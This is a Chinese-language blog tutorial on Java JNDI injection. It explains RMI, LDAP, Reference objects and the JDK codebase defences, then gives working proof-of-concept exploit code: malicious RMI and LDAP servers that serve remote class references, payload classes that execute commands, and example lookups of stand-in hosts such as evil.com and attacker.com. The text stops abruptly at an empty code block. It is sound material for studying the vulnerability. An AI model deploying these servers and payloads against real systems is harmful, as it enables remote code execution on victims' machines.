0%

搞懂JNDI

序言

莫听穿林打叶声,何妨吟啸且徐行。

前几天在搞RMI,发现攻击方式经常结合JNDI注入一起玩,这篇直接先来总结JNDI

基本概念

JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。

JNDI是Java API,允许客户端通过名称发现和查找数据、对象

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

也就是说,JNDI就是一个简单的Java API,如InitialContext.Lookup(String Name),它只接受一个字符串参数;

如果该参数来自不可信的源的话,则可能因为远程类加载而引发远程代码执行攻击。

当被请求对象的名称处于攻击者掌控之下时,他们就能将受害Java应用程序指向恶意的RMI/LDAP/CORBA服务器,并使用任意对象进行响应。如果该对象是javax.naming.Reference类的实例,那么,JNDI客户端将尝试解析该对象的classFactoryclassFactoryLocation属性。如果目标Java应用程序不知道ClassFactory的值,Java将使用Java的URLClassLoader从ClassFactoryLocation处获取该Factory的字节码。

由于其简单性,即使InitialContext.lookup方法没有直接暴露给受污染的数据,它对于利用Java漏洞来说也非常有用。在某些情况下,仍然可以通过反序列化或不安全的反射攻击来访问它。

如图:

img

Java Naming Service

命名服务是将名称与值相关联的实体,称为”绑定”。它提供了一种使用”find”或”search”操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。RMI Registry就是使用的Naming Service。

Java Directory Service

目录服务是一种特殊的Naming Service,它允许存储和搜索”目录对象”,一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是一种目录服务。

这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

ObjectFactory

Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。

JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。

简单理解JNDI

JNDI在客户端和服务器端都能够进行一些工作:

客户端上主要是进行各种访问,查询,搜索服务器端主要进行的是帮助管理配置,也就是各种bind

比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

JNDI代码示例

在JNDI中提供了绑定和查找的方法:

  • bind:将名称与一个对象绑定,这里底层也是调用的rmi的registry去绑定
  • lookup:通过名字检索对象;

这两个操作都是用的InitialContext类对象来调用。多说无益,直接上代码:

下面是基本用法Demo,以RMI服务为例。

先定义一个Person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Person implements Remote, Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public String toString(){
return "name:"+name+" password:"+password;
}
}

接下来是Server端,其实是将服务端和客户端的代码写在一起了,分为两个部分。

第一部分是initPerson()函数即服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中;

第二部分是findPerson()函数即客户端,其通过JNDI的lookup方法来检索Person对象并输出出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class Server {
public static void initPerson() throws Exception{
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

//初始化
InitialContext ctx = new InitialContext();

//实例化person对象
Person p = new Person();
p.setName("0range");
p.setPassword("Niubility!");

//person对象绑定到JNDI服务中,JNDI的名字叫做:person。
ctx.bind("person", p);
ctx.close();
}

public static void findPerson() throws Exception{
//因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用再绑定了
InitialContext ctx = new InitialContext();

//通过lookup查找person对象
Person person = (Person) ctx.lookup("person");

//打印出这个对象
System.out.println(person.toString());
ctx.close();
}

public static void main(String[] args) throws Exception {
initPerson();
findPerson();
}
}

运行Server的程序,findPerson()函数会成功从启动的JNDI服务中找到指定的对象并输出出来:

image-20200629191702347

纯RMI与JNDI的对比

我们可以简单比较一下纯RMI写法和使用JNDI检索的写法,在纯RMI写法中的两种典型写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
...

//服务端
IRemoteMath remoteMath = new RemoteMath();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Compute", remoteMath);
...

//客户端
Registry registry = LocateRegistry.getRegistry("localhost");
IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");

或者

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
...

//服务端
PersonService personService=new PersonServiceImpl();
LocateRegistry.createRegistry(6600);
Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
...

//客户端
PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");

而JNDI中相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
...

//服务端
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
...
ctx.bind("person", p);
ctx.close();
...

//客户端
InitialContext ctx = new InitialContext();
Person person = (Person) ctx.lookup("person");
ctx.close();



//服务端
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

相比之下:

  • 服务端:纯RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,最后再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
  • 客户端:纯RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;

简单地说,纯RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:

1
2
3
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。

远程代码和安全管理器

Java中的安全管理器

Java中的对象分为本地对象和远程对象,本地对象是默认为可信任的,但是远程对象是不受信任的。比如,当我们的系统从远程服务器加载一个对象,为了安全起见,JVM就要限制该对象的能力,比如禁止该对象访问我们本地的文件系统等,这些在现有的JVM中是依赖安全管理器(SecurityManager)来实现的。

image-20200629203820570

JVM中采用的最新模型见上图,引入了“域”的概念,在不同的域中执行不同的权限。JVM会把所有代码加载到不同的系统域和应用域,系统域专门负责与关键资源进行交互,而应用域则通过系统域的部分代理来对各种需要的资源进行访问,存在于不同域的class文件就具有了当前域的全部权限。

JNDI的安全管理器

对于加载远程对象,JDNI有两种不同的安全控制方式,对于Naming Manager来说,相对的安全管理器的规则比较宽泛,但是对JNDI SPI层会按照下面表格中的规则进行控制:

image-20200629203916955

针对以上特性,黑客可能会找到一些特殊场景,利用两者的差异来执行恶意代码。

JNDI协议动态转换

举前面的例子,JNDI实现的RMI服务中,可以在初始化配置JNDI设置时预先指定其上下文环境(RMI、LDAP、CORBA等),这里列出前面的两种写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
    Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);



LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();

但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,例如上面已经设置了当前上下文会访问RMI服务,那么可以直接使用LDAP的URI格式去转换上下文环境访问LDAP服务上的绑定对象而非原本的RMI服务:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

其原理可以跟踪代码找到:

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

再跟进去就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

JNDI注入

前提防御&JDK防御

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

因此,我们在进行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件。

RMI攻击向量

RMI+Reference利用技巧

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址

因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

那么这个JNDI利用技巧是啥呢?——就是将恶意的Reference类绑定在RMI注册表中,其中恶意Reference引用指向远程恶意的class文件。当用户在/JNDI客户端的lookup()函数参数外部可控/或/Reference类构造方法的classFactoryLocation参数外部可控/时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

我们看个示例,以lookup()函数参数外部可控为例,攻击原理如图:

img

  1. 攻击者操纵客户端去访问自己搭建的RMI服务器, URL为 rmi://evil.com:1099/refObj
  2. 客户端去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  3. 客户端获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上获取 http://evil-cb.com/EvilObject.class字节码;
  4. 攻击者事先准备包含恶意代码的 EvilObject.class
  5. 客户端需要实例化EvilObject类对象,开始调用 EvilObject 类的静态代码块+构造函数,被包含在里面的恶意代码被执行;
  6. 攻击者可以在构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

代码如下,当然需要注意JDK版本的影响,我本地JDK版本为1.8.0_73。

JNDIClient.java,lookup()函数参数外部可控:

1
2
3
4
5
6
7
8
9
10
11
12
public class JNDIClient {
public static void main(String[] args) throws Exception {
if(args.length < 1) {
System.out.println("Usage: java JNDIClient <uri>");
System.exit(-1);
}
String uri = args[0];
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}

EvilObject.java,恶意类,目的是弹计算器:

1
2
3
4
5
6
public class EvilObject {
public EvilObject() throws Exception {
Process pc = Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
pc.waitFor();
}
}

RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:

1
2
3
4
5
6
7
8
9
public class RMIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

这里将RMIService.java和JNDIClient.java放在同一目录下,将EvilObject.java(恶意类开头千万不要有package的字段!!!)放在另一个目录下(为防止漏洞复现过程中应用端实例化EvilObject对象时从CLASSPATH当前路径找到编译好的字节代码,而不去远端进行下载的情况发生),编译这三个文件,并在不同窗口下执行命令,最后成功通过RMI+Reference的方式实现JNDI注入:

image-20200630013330114

image-20200630013405125

这里我再总结一下攻击的整体逻辑:

  1. JNDIClient:他就是个客户端,但是外部参数可控lookup()位置;
  2. EvilObject.class:恶意类,内部的构造函数弹出计算器;
  3. RMIService:做了很多事
    1. 申请开放rmi的1099端口,注册对象;
    2. Reference类对象refObj:声明EvilObject恶意类,并写出他的classFactoryLocation位置,Web服务的8080端口;
    3. 将上一步的refObj打包成ReferenceWrapper对象,叫做xxxWrapper;
    4. 最后一步直接绑定,将registry.bind(‘refObj’,xxxWrapper),注册中心开放的目录内容为refObj

漏洞点1:lookup()参数注入

修改客户端lookup的请求地址,指向恶意的RMI注册中心,加载恶意类到本地实例化

当JNDI客户端的lookup()函数的参数可控即URI可控时,根据JNDI协议动态转换的原理,攻击者可以传入恶意URI地址指向攻击者的RMI注册中心,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,恶意类构造函数中有RCE,从而实现远程代码执行。

下面以RMI服务为例,原理和上一个小结讲的是一样的,本地JDK版本为1.8.0_73。

AClient.java,是JNDI客户端,原本上下文环境已经设置了默认连接本地的1099端口的RMI注册表服务,同时程序允许用户输入URI地址来动态转换JNDI的访问地址,即此处lookup()函数的参数可控:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class AClient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
String uri = "";
if(args.length == 1) {
uri = args[0];
System.out.println("[*]Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
} else {
System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
ctx.lookup("demo");
}
}
}

AServer.java,是攻击者搭建的恶意RMI注册表服务而非原本正常的本地RMI注册表服务(做漏洞演示就没必要写正常的服务端那部分了),将恶意Reference类绑定到RMI注册表中,用于给JNDI客户端加载并执行恶意代码(注意这里的Reference类初始化时其第三个参数即factoryLocation参数随意设置了一个内容,将该恶意类放在与当前RMI注册表服务同一目录中,当然也可以修改该参数为某个URI去加载,但是需要注意的是URL不用指定到特定的class、只需给出该class所在的URL路径即可):

1
2
3
4
5
6
7
8
9
10
public class AServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1688);
//这里面test的位置是恶意类的位置,比如本地的话就是http://localhost:8080
Reference refObj = new Reference("EvilClass", "EvilClassFactory", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1688/exp'");
registry.bind("exp", refObjWrapper);
}
}

最后编写恶意EvilClassFactory类,目标是在客户端执行ifconfig命令,将其编译成class文件后与AServer放置于同一目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
public EvilClassFactory() throws RemoteException {
super();
InputStream inputStream;
try {
inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
String linestr;
while ((linestr = bufferedReader.readLine()) != null){
System.out.println(linestr);
}
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

模拟场景,攻击者开启恶意RMI注册表服务AServer,同时恶意类EvilClassFactory放置在同一环境中,由于JNDI客户端的lookup()函数参数可控,因为当客户端输入指向AServer的URI进行lookup操作时就会触发JNDI注入漏洞,导致远程代码执行。效果如图:

image-20200630135450415

最后小结一下,调用InitialContext.lookup()函数都有哪些类。

在RMI中调用了InitialContext.lookup()的类有:

1
2
3
4
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP中调用了InitialContext.lookup()的类有:

1
2
3
InitialDirContext.lookup()
Spring's LdapTemplate.lookup()
LdapTemplate.lookupContext()

漏洞点2-classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的(服务端有毒,去污染客户端),也是最常见的。而本小节的classFactoryLocation参数注入则是对于RMI服务端而言的,服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

整个利用原理过程如图:

image-20200703123339015

BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:

1
2
3
4
5
6
7
8
9
10
public class BClient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
ctx.lookup("demo");
}
}

BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class BServer {
public static void main(String args[]) throws Exception {
String uri = "";
if(args.length == 1) {
uri = args[0];
} else {
uri = "http://127.0.0.1/demo.class";
}
System.out.println("[*]classFactoryLocation: " + uri);
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("[*]Binding 'demo' to 'rmi://127.0.0.1:1099/demo'");
registry.bind("demo", refObjWrapper);
}
}

EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行uname -a命令并输出出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
public EvilClassFactory() throws RemoteException {
super();
InputStream inputStream;
try {
inputStream = Runtime.getRuntime().exec("uname -a").getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
String linestr;
while ((linestr = bufferedReader.readLine()) != null){
System.out.println(linestr);
}
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:

image-20200703132943046

漏洞点3-Codebase

攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:

  1. RMI客户端的上下文环境允许访问远程Codebase。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。

然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

Changelog:

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个媒介而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入漏洞点和前面是一样的就不再赘述了。

LDAP+Reference利用技巧

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的Jdk版本是1.8.0_73。

LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:

maven-pom.xml:

1
2
3
4
5
6
7
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8080/#EvilObject2";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LdapClient.java,LDAP客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class LdapClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/EvilObject2");
String data = "This is LDAP Client.";
//System.out.println(serv.service(data));
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

EvilObject.java,恶意类,执行弹出计算器:

1
2
3
4
5
public class EvilObject2 {
public EvilObject2() throws Exception {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}

运行结果:

image-20200703190435334

JNDI利用链分析

这里写一个小PoC,跟进去看看利用链。

客户端,受害者:

1
2
3
4
5
6
7
8
9
public class Client {
public static void main(String[] args) throws Exception {

String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

}
}

服务端,攻击者部署:

1
2
3
4
5
6
7
8
9
10
11
public class Server {
public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);

}
}

恶意类,干坏事的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="pwd";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}

攻击截图:

image-20200704132057164

把ExecTest.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
ExecTest.java文件不能写package xxx包名。声明后编译的class文件函数名称会加上包名从而不匹配。
1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

分析调用流程

整体调用链如下:

img

第一个函数,InitialContext.lookup函数:

1
2
